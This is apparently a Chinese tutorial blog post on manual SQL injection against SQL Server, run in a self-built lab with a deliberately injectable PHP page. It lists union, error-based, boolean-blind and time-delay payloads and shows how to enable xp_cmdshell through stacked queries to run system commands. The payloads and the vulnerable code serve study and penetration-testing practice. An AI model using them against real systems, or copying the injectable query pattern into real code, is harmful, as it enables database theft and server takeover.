SqlServer手工注入

SqlServer手工注入

前言最近面试了几家实习,都问了基于SqlServer的SQL注入,所以今天想补一下基础。

SqlServer搭建搭建SqlServer,我们的环境和版本如下:

Windows Server 2012

SqlServer 2012

这里的SqlServer环境搭建比较简单,可以参考该链接进行安装 https://blog.csdn.net/gengkui9897/article/details/89301494

SqlServer基础Microsoft SQL Server(微软结构化查询语言服务器)也叫Mssql,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。默认端口号为1433。

默认数据库安装好SqlServer后,SqlServer数据库中会有6个默认的库,用于维护系统正常运行的系统数据库,其中包括四个系统数据库:master 、model 、msdb 、tempdb,和两个实例数据库:ReportServer、ReportServerTempDB

系统数据库:**master:**记录了SqlServer实例的所有系统级消息,包括实例范围的元数据(如登录账号、端点、链接服务器和系统配置设置)

msdb:供SqlServer代理服务调度报警和作业记录操作员的使用,保存关于调度报警、作业、操作员等信息

model:SqlServer实例上创建的所有数据库的模板

tempdb:临时数据库,用于保存临时对象或中间结果集,为数据库的排列等操作提供一个临时的工作空间

实例数据库:ReportServer:存储SSRS配置部分,报告定义,报告元数据,报告历史,缓存政策,快照,资源,安全设置,加密的数据,调度和提交数据,以及扩展信息

ReportServerTempDB:存储中间处理产品,例如缓冲的报告、会话和执行数据等

数据库的组成在SqlServer中,数据库是以文件的形式存在的,由文件和文件组组成

文件数据库中的文件基本是分为以下三类:

主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件.mdf结尾

次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有,也可以有多个.ndf结尾

事务日志文件:存放用户回复数据库的所有文件信息。每个数据库至少有一个日志文件,也可以有多个.ldf结尾

文件组文件组是数据库文件一种逻辑管理单位,他将数据库文件分成不同的文件组,方便对文件的分配和管理,分为两种类型:

主文件组Primary:主要是数据文件和没有明确指派给其他文件组的文件

用户自定义的文件组:Create DataBase 或者 Alter DataBase语句,FileGroup关键字指定的文件组

设计原则SqlServer数据库的设计原则如下

文件只能是一个文件组的成员

文件或文件组不能由多个数据库使用

日志不能作为文件组的一部分

SqlServer权限sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。服务器级别权限可以让我们控制登录、服务器资源操作等等;数据库级别的权限可以让我们对具体的表\视图\数据等数据库内资源进行操作。

在SQL注入的漏洞挖掘中,我们关注的是sqlserver服务器级别的权限,可以把权限简单的归为以下三类:

**sa权限:**即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限

**db权限:**文件管理,数据库操作等权限 users-administrators

**public权限:**数据库操作 guest-users

如果我们找到一个SqlServer数据库的注入点,可以通过以下命令判断当前用户的权限,查询语句返回1,说明是对应的权限。

--判断是否是SA权限

select is_srvrolemember('sysadmin')

--判断是否是db_owner权限

select is_member('db_owner')

--判断是否是public权限

select is_srvrolemember('public')

T-SQL语言在mysql数据库中使用sql语句对数据库进行操作,而在sqlserver数据库中使用的是Transaction-SQL语言,简称T-SQL。T-SQL是在SQL基础之上的一种数据库编程语言。

在这篇文章中,我们基于增删改查和创建数据库去简单了解T-SQL语言

创建数据库用T-SQL去创建名为SQLDB的数据库,语句如下

CREATE DATABASE SQLDB;

如果希望对数据库的文件路径、大小、增长方式等进行配置,可以使用以下命令

CREATE DATABASE SQLDB

ON PRIMARY (

NAME = SQLDB_data,

FILENAME = 'C:\MSSQL\DATA\SQLDB_data.mdf',

SIZE = 10MB,

MAXSIZE = 100MB,

FILEGROWTH = 5MB

)

LOG ON (

NAME = SQLDB_log,

FILENAME = 'C:\MSSQL\DATA\SQLDB_log.ldf',

SIZE = 5MB,

MAXSIZE = 50MB,

FILEGROWTH = 5MB

);

创建表用T-SQL在SQLDB中新建表,新建表的时候要同时指明字段信息

-- 切换到 SQLDB 数据库

USE SQLDB;

GO

-- 创建一个名为 Employees 的表

CREATE TABLE Employees (

EmployeeID INT PRIMARY KEY IDENTITY(1,1), -- 员工ID,主键,自增

FirstName NVARCHAR(50) NOT NULL, -- 名,最大50字符,不能为空

LastName NVARCHAR(50) NOT NULL, -- 姓,最大50字符,不能为空

BirthDate DATE NULL, -- 出生日期,可以为空

HireDate DATE NOT NULL, -- 入职日期,不能为空

Email NVARCHAR(100) UNIQUE, -- 邮箱,唯一约束,可为空

Salary DECIMAL(10, 2) CHECK (Salary >= 0) -- 工资,保留两位小数,必须为非负数

);

增删改查插入数据使用Insert向该表中插入数据,可以使用以下命令:

-- 切换到 SQLDB 数据库

USE SQLDB;

GO

-- 向 Employees 表插入一条记录(不包括自增主键 EmployeeID)

INSERT INTO Employees (FirstName, LastName, BirthDate, HireDate, Email, Salary)

VALUES (

'John', -- FirstName

'Doe', -- LastName

'1985-06-15', -- BirthDate

'2020-01-10', -- HireDate

'john.doe@example.com',-- Email

5500.00 -- Salary

);

删除数据使用DELETE删除名为John Doe的员工,命令如下

-- 删除名为 John Doe 的员工

DELETE FROM Employees

WHERE FirstName = 'John' AND LastName = 'Doe';

修改数据修改名为Sean Doe的员工的薪资,修改为6000.00

-- 修改名为 Sean Doe 的员工薪资为 6000.00

UPDATE Employees

SET Salary = 6000.00

WHERE FirstName = 'Sean' AND LastName = 'Doe';

查询数据查询数据的所使用的语句基本结构如下

后续进行SQL注入时,使用查询语句的频率最高

SELECT <列名1>, <列名2>, ...

FROM <表名>

[WHERE <筛选条件>]

[GROUP BY <分组列>]

[HAVING <分组后的筛选条件>]

[ORDER BY <排序列> [ASC|DESC]];

这里我们举个例子,可以使用以下 T-SQL 语句来查询名为 Sean Doe 的员工的邮箱和薪资信息

SELECT Email, Salary

FROM Employees

WHERE FirstName = 'Sean' AND LastName = 'Doe';

SqlServer手工注入MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库的功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。

对于MSSQL注入点,我们往往最关心的是这个注入点的权限问题,上面讲过,对于MSSQL有以下三个权限:

sa(最高权限 System)

db(文件管理、数据库操作等等 user-administrator)

public(数据库操作权限 guest-users)

常见搭配为:asp/aspx + sqlserver

环境搭建实验环境:

SqlServer 2012

phpstudy 2018

php7.3.4

首先在数据库中创建数据库,创建数据表和插入输入等操作

-- 第一步:创建数据库

USE master;

GO

CREATE DATABASE SchoolDB;

GO

-- 第二步:切换到该数据库

USE SchoolDB;

GO

-- 第三步:创建学生表

CREATE TABLE Students (

StudentID INT PRIMARY KEY NOT NULL, -- 学号,主键

StudentName NVARCHAR(50) NOT NULL, -- 姓名

Age INT NOT NULL, -- 年龄

Class NVARCHAR(50) NOT NULL -- 所在班级

);

-- 第四步:插入示例学生数据

INSERT INTO Students (StudentID, StudentName, Age, Class)

VALUES

(101, '张三', 16, '高一1班'),

(102, '李四', 17, '高一2班'),

(103, '王五', 16, '高一1班');

GO

需要在phpstudy中添加sqlsrv扩展,下载链接https://learn.microsoft.com/en-us/sql/connect/php/release-notes-php-sql-driver?view=sql-server-ver15#previous-releases

因为我这里是php7.3.4版本,我们需要将这两个文件放到C:\phpstudy_pro\Extensions\php\php7.3.4nts\ext目录下

并在php.ini文件中添加这两行配置

extension=php_sqlsrv_73_nts_x64.dll

extension=php_pdo_sqlsrv_73_nts_x64.dll

进入phpinfo界面后,可以看到我们的sqlsrv扩展就已经配置好了

除此之外,还需要去安装ODBC Driver,链接如下(64位电脑安装64位驱动即可)

https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip

在网站目录下,创建一个进行sql查询的php文件,源码如下:

header("Content-Type:text/html;charset=gbk");

// 数据库连接

$conn = sqlsrv_connect('127.0.0.1', array(

'Database' => 'SchoolDB',

'UID' => 'sa',

'PWD' => '@sql123'

));

// 连接失败时输出错误

if ($conn === false) {

var_dump(sqlsrv_errors());

exit;

}

// 获取 GET 参数 id(注意:这是一个注入测试场景)

$id = $_GET["id"];

// 拼接 SQL 语句

$sql = "SELECT * FROM Students WHERE StudentID = $id";

echo "SQL Server injection exercise!

";

echo "sql: " . $sql . "


";

// 执行查询

$result = sqlsrv_query($conn, $sql);

var_dump(sqlsrv_errors());

echo "


";

// 输出结果

if ($re = sqlsrv_fetch_array($result, SQLSRV_FETCH_ASSOC)) {

echo "学号:" . $re['StudentID'] . "
";

echo "姓名:" . $re['StudentName'] . "
";

echo "年龄:" . $re['Age'] . "
";

echo "班级:" . $re['Class'] . "
";

} else {

echo "未找到该学生。";

}

?>

这样环境就配置好了,访问http://192.168.41.131:8080/SqlServer.php?id=101

常见注入函数和关键字以下是在SQL注入中常用的函数与关键字

//TOP 对标与MSSQL中的limit,想要输出一条信息 TOP 1 ,输出两条 TOP 2

SELECT TOP 2 StudentName FROM STUDENTS

//@@version 获取版本信息

SELECT @@version

//db_name 获取数据的名字

SELECT db_name()

//OBEJCT_ID 获取表对象ID

OBJECT_ID('表名')

//col_name table_id表对象ID column_id 列的序号

COL_NAME ( table_id , column_id )

//convert 把日期转换成新数据类型的通用函数

CONVERT(data_type(length),data_to_be_converted,style)

//stuff 删除字符串中的一部分内容,用另一个字符串替代

stuff( character_expression , start , length , replaceWith_expression )

//len 返回目标字符串的长度

len(select db_name())

//SUBSTRING 用于从字符串中提取指定位置的一部分

SUBSTRING(expression, start, length)

注入手法注入手法总的来说和Mysql差不多,差别在于一些函数的区别

联合查询在MSSQL数据库中会存在一个系统自带库-->master,每个库都存在一个系统自带表-->sysobjects。该系统表中对于我们来说有三个字段有用:

NAME:表名信息

XTYPE: 代表 表的类型,S代表系统自带表,U代表用户创建表

ID:用于连接syscolumns表

首先判断目标数据库是否是MSSQL数据库

SqlServer.php?id=101 and exists(select * from sysobjects) --+

返回正常说明网站使用的数据库是MSSQL

联合注入中必要的一步就是判断字段长度,当order by 4回显正常,但order by 5报错时,表明字段长度是3

SqlServer.php?id=101 order by 4 --+ 正常

SqlServer.php?id=101 order by 5 --+ 报错

接下来就是寻找字符串的回显位置(前面select语句查询为空时,才会回显联合查询的东西)

可以看到,四个回显位均可以利用(正常渗透中,回显位不固定)

SqlServer.php?id=0 union select 1,2,3,4 --+

查询当前数据库的版本信息和名字

SqlServer.php?id=0 union select 1,db_name(),3,@@version --+

此处需要注意,当联合注入的数据和前半部分的数据类型不匹配时,会出现报错

查询表名,将获取到的数据库名和.dbo.sysobjects进行拼接,通过限制xtype为u,使用TOP 1进行限制,找出第一条查询到的用户创建表

SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u') --+

查询第二条表名数据时,可以使用and name != '第一次输出中的表名'的方式

SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u' and name != 'STUDENTS') --+

获取列名,通过col_name、object_id等函数,遍历获取列名

SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),1) from sysobjects)--+

SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),2) from sysobjects)--+

SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),3) from sysobjects)--+

...

获取数据,这里获取StudentID字段的数据

SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS)--+

SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS WHERE StudentID != 101)--+

SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS WHERE StudentID != 101 and StudentID != 102)--+

报错注入上面我们说过,MSSQL数据库是强类型语言数据库,当类型不一样时,会报错,配合子查询即可实现报错注入。可以利用的函数有以下这些:

convert()

file_name()

db_name()

col_name()

filegroup_name()

object_name()

schema_name()

type_name()

cast()

这里我们使用convert函数作为演示,convert函数语法如下

CONVERT(data_type(length),data_to_be_converted,style)

--注释 :

data_type(length) 转换为⽬标数据类型(带有可选的长度)

data_to_be_converted 含有需要转换的值

style 规定⽇期/时间的输出格式(可省略)

对于convert(int,@@version),convert函数会首先执行第二给参数指定的SQL查询,然后尝试将查询结果转为int类型。但是由于查询语句查询出来的结果时varchar类型,无法转为指定的int类型,因此convert函数会爆出一个SQLSever的错误消息,格式是"SQL查询结果"无法转换为"int"类型,这样攻击者就可以利用报错来获取到SQL的查询结果

SqlServer.php?id=101 and 1=convert(int,db_name())

除了使用函数以外,在两个不同类型的数据进行比较时,也会爆出SqlServer的错误信息,也是一种利用方法

SqlServer.php?id=101 and 1=(select db_name())

首先查询数据库名

//查询当前数据库

SqlServer.php?id=101 and 1=(select db_name(0))

//查询第二个数据库

SqlServer.php?id=101 and 1=(select db_name(1))

这里我们可以通过for xml path,查询所有数据库的名字,FOR XML PATH('')表示输出 XML,但不加任何标签。通常可以配合stuff()使用,用来拼接多个值并去除第一个多余分隔符

SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--

爆出所有表名,但是其中存在一些系统表,可以通过xtype='U'来过滤出用户表

SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sysobjects WHERE xtype = 'U' for xml path('')),1,0,'')) --+

接下来就是爆出Students表的所有字段

SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from SchoolDB.sys.columns where object_id=object_id('Students') for xml path('')),1,0,'')) --

最后爆数据即可

SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(StudentID) from Students for xml path('')),1,0,''))--

剩下的报错函数原理也是相似的,读者可以自行查阅资料

布尔盲注如果存在没有回显位 或者 不能直接通过页面返回内容查看数据库信息时,我们就可以通过布尔盲注去查询信息。页面会根据用户输入只回显true和flase,则可以通过构造逻辑判断来得到想要的信息

首先需要我们去判断是存在盲注,使用以下注入语句测试

//正常回显

SqlServer.php?id=101 and 1=1--+

//不正常回显

SqlServer.php?id=101 and 1=2--+

不管是对于数据库名、表名还是列名的盲注,流程都是相类似的

首先猜解数据库名的长度,正常回显时,说明我们的判断是正确的

//回显正常

SqlServer.php?id=101 and len((select db_name()))=8--+

//不正常回显

SqlServer.php?id=101 and len((select db_name()))=4--+

猜解数据库名字,

//获取数据库名的第一个字符ascii码为83

SqlServer.php?id=101 and ascii(substring((select db_name()),1,1))=83 --

//获取数据库名的第一个字符ascii码为99

SqlServer.php?id=101 and ascii(substring((select db_name()),1,1))=99 --

后续的表名、列名和数据,只需要替换响应的SQL语句即可

延时注入这里主要是使用WAITFOR DELAY '0:0:n'这个语句表示要延迟几秒,他的作用就是等待待定时间,然后再执行后续语句。如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断网站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

利用该注入语句,可以判断此处是否存在延时注入

观察浏览器f12,观察时间确认成功延时,代表存在漏洞

SqlServer.php?id=101 WAITFOR DELAY '0:0:5' --

后续利用和布尔注入相类似,判断数据库名长度

SqlServer.php?id=101 if (len((select db_name()))=8) WAITFOR DELAY '0:0:5' --+

然后一个字符一个字符进行猜解数据库名

SqlServer.php?id=101 if (ascii(substring((select db_name()),1,1))=83) WAITFOR DELAY '0:0:5'--

后续只需要替换SQL语句查询点,就可以注入其他数据

SqlServer命令执行MSSQL数据库中,存在xp_cmdshell函数:SQL中运行系统命令行的系统存储过程,允许 SQL Server 以服务账户的身份执行 Windows 命令或外部程序。如果该命令开启时,我们就可以执行系统命令。

我们现在在判断了网站权限是sa权限后,想要执行系统命令,就先要判断xp_cmdshell是否存在,当页面正常返回时,说明该命令是开启的

SqlServer.php?id=101 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

xp_cmdshell默认在mssql2000中是开启的,在mssql2005后版本默认禁止。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service

但是如果有管理员sa权限,则可以用sp_configure重新开启

开启 xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭 xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell', 0;reconfigure

可以使用堆叠的方式进行执行命令,但是有些命令的执行需要较高权限

SqlServer.php?id=101 ;exec master..xp_cmdshell "命令"

通过运行whoami,可以看到sqlserver的权限为nt service\mssqlserver

相关推荐

狗狗毛为什么会静电
365淘房APP官网下载

狗狗毛为什么会静电

📅 02-16 👁️ 8533
为什么我玩暗影格斗2进不去?(为什么我玩暗影格斗2进不去了)
仓鼠大概多少钱一只?了解不同品种的价格差异与养护成本
周鸿祎正面回应,360到底靠什么赚钱?广告收入其实只占50%
戢手的解釋
365bet官网欧洲

戢手的解釋

📅 09-17 👁️ 1568
啡成语大全 啡字成语有哪些
365淘房APP官网下载

啡成语大全 啡字成语有哪些

📅 01-09 👁️ 4385
爆炒小河虾:5分钟搞定鲜掉眉毛的夜宵王者
365bet官网欧洲

爆炒小河虾:5分钟搞定鲜掉眉毛的夜宵王者

📅 12-07 👁️ 9117
奥迪保养换防冻液多少钱
365bet官网欧洲

奥迪保养换防冻液多少钱

📅 01-22 👁️ 7333
六十四卦快速记忆口诀作者:
365bet官网欧洲

六十四卦快速记忆口诀作者:

📅 10-08 👁️ 9644